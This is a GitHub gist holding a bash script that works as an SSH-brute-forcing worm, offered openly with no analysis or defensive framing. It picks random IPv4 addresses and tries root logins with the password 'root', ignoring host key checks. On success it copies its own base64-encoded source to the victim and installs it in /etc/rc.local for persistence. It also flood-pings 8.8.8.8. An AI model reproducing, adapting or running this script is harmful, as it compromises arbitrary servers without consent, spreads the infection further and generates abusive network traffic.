Skip to content

Instantly share code, notes, and snippets.

@oxagast
Created November 15, 2017 07:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oxagast/031d3a68583c0bfbb93618e875ad3d6a to your computer and use it in GitHub Desktop.
Save oxagast/031d3a68583c0bfbb93618e875ad3d6a to your computer and use it in GitHub Desktop.
Bruteforce random SSH servers and propogate.
#!/bin/bash
dnf install tor torsocks expect -y; apt-get install tor torsocks expect build-essential -y; systemctl start tor &
werm=$(cat $0 | base64 -w 0);
pound='8.8.8.8';
while [ 1 ];
do
ip_address=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -An -tu1 | sed -e 's/^ *//' -e 's/ */./g')
ping $pound -f -c 10000 &
wget $pound &
servers_addresses=( $ip_address )
for server_address in ${servers_addresses[@]}; do
expect <<EOF
set passwds { root }
set i 0
spawn ssh -o "StrictHostKeyChecking no" -t root@$server_address "echo $werm | base64 -d > /etc/rc.worts; echo \"/etc/rc.worts\" > /etc/rc.local; chmod u+rwx /etc/rc.local; chmod u+rwx /etc/rc.worts; /etc/rc.worts"
expect {
"s password:" { send "[lindex \$passwds \$i]\r"; incr i; exp_continue }
eof
}
EOF
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment